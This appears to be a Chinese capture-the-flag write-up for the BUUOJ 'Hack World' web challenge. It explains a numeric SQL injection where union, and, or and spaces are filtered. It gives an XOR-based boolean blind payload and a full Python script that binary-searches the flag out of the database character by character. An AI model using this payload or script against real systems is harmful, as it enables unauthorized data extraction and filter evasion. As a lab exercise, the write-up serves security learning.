1. 程式人生 > 實用技巧 >BUUOJ | [CISCN2019 華北賽區 Day2 Web1]Hack World(SQL布林盲注)

BUUOJ | [CISCN2019 華北賽區 Day2 Web1]Hack World(SQL布林盲注)

題目地址

用瀏覽器連線靶機,看到以下頁面

右鍵檢視原始碼,發現上傳用的是 post 請求,根據提示知道 flag 位於 flag 表中的 flag 欄位裡

搜尋框輸入 1 或 2 會返回結果,其餘返回 bool(false)

嘗試注入 1 union select group_concat(flag) from flag.flag 返回 SQL Injection Checked.

是因為後端過濾了 union、and、or、空格等,包括 /**/

輸入1/1時會正常返回結果,可以判斷這是數字型的sql注入,考慮布林盲注

思路比較簡單,用 select 在資料庫中提取 flag 各位字母,用二分法(比直接列舉快一點)逐位爆破

sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)

如果最外層括號(是否大於的判斷表示式)值為 True,與 0 異或中仍為 True,反之為 False

import requests
url = 'http://14948c07-2813-4b23-b374-a72b794b079f.node3.buuoj.cn/index.php'
flag = ''
def check(payload):
    # print (payload)
    upload = { 'id' : payload }
    text = requests.post(url, data = upload).text
    if ('Hello') in text:
        return True
    return False
for i in range(1,50):
    l = 0; r = 255; now = 0
    while (l<=r):
        mid = (l + r) >> 1
        sql = '0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)
        if (check(sql)):
            l = mid + 1
        else:
            r = mid - 1
    flag += chr(l)
    print (flag)